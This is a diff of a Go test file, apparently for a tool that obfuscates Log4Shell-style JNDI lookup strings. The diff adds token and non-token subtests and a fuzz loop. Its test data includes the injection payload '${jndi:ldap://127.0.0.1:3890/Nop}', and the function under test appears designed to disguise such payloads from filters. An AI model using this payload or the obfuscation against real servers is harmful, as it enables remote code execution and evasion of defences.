@@ -15,23 +15,55 @@ func TestObfuscate(t *testing.T) {
1515 "${jndi:ldap://127.0.0.1:3890/Nop}" ,
1616 "test" ,
1717 } {
18- obfuscated := Obfuscate (testdata )
19- fmt .Println (testdata )
20- fmt .Println (obfuscated )
21- fmt .Println ()
18+ t .Run ("with token" , func (t * testing.T ) {
19+ obfuscated , rwt := Obfuscate (testdata , true )
20+ fmt .Println (testdata )
21+ fmt .Println (rwt )
22+ fmt .Println (obfuscated )
23+ fmt .Println ()
24+ })
25+
26+ t .Run ("without token" , func (t * testing.T ) {
27+ obfuscated , rwt := Obfuscate (testdata , false )
28+ fmt .Println (testdata )
29+ require .Zero (t , rwt )
30+ fmt .Println (obfuscated )
31+ fmt .Println ()
32+ })
2233 }
2334 })
2435
2536 t .Run ("empty raw string" , func (t * testing.T ) {
26- obfuscated := Obfuscate ("" )
27- require .Zero (t , obfuscated )
37+ t .Run ("with token" , func (t * testing.T ) {
38+ obfuscated , rwt := Obfuscate ("" , true )
39+ require .Zero (t , rwt )
40+ require .Zero (t , obfuscated )
41+ })
42+
43+ t .Run ("without token" , func (t * testing.T ) {
44+ obfuscated , rwt := Obfuscate ("" , false )
45+ require .Zero (t , rwt )
46+ require .Zero (t , obfuscated )
47+ })
2848 })
2949
3050 t .Run ("fuzz" , func (t * testing.T ) {
31- for i := 0 ; i < 100000 ; i ++ {
32- raw := "${" + randString (64 ) + "}"
33- obfuscated := Obfuscate (raw )
34- require .NotZero (t , obfuscated )
35- }
51+ t .Run ("with token" , func (t * testing.T ) {
52+ for i := 0 ; i < 100000 ; i ++ {
53+ raw := "${" + randString (64 ) + "}"
54+ obfuscated , rwt := Obfuscate (raw , true )
55+ require .NotZero (t , rwt )
56+ require .NotZero (t , obfuscated )
57+ }
58+ })
59+
60+ t .Run ("without token" , func (t * testing.T ) {
61+ for i := 0 ; i < 100000 ; i ++ {
62+ raw := "${" + randString (64 ) + "}"
63+ obfuscated , rwt := Obfuscate (raw , false )
64+ require .Zero (t , rwt )
65+ require .NotZero (t , obfuscated )
66+ }
67+ })
3668 })
3769}
0 commit comments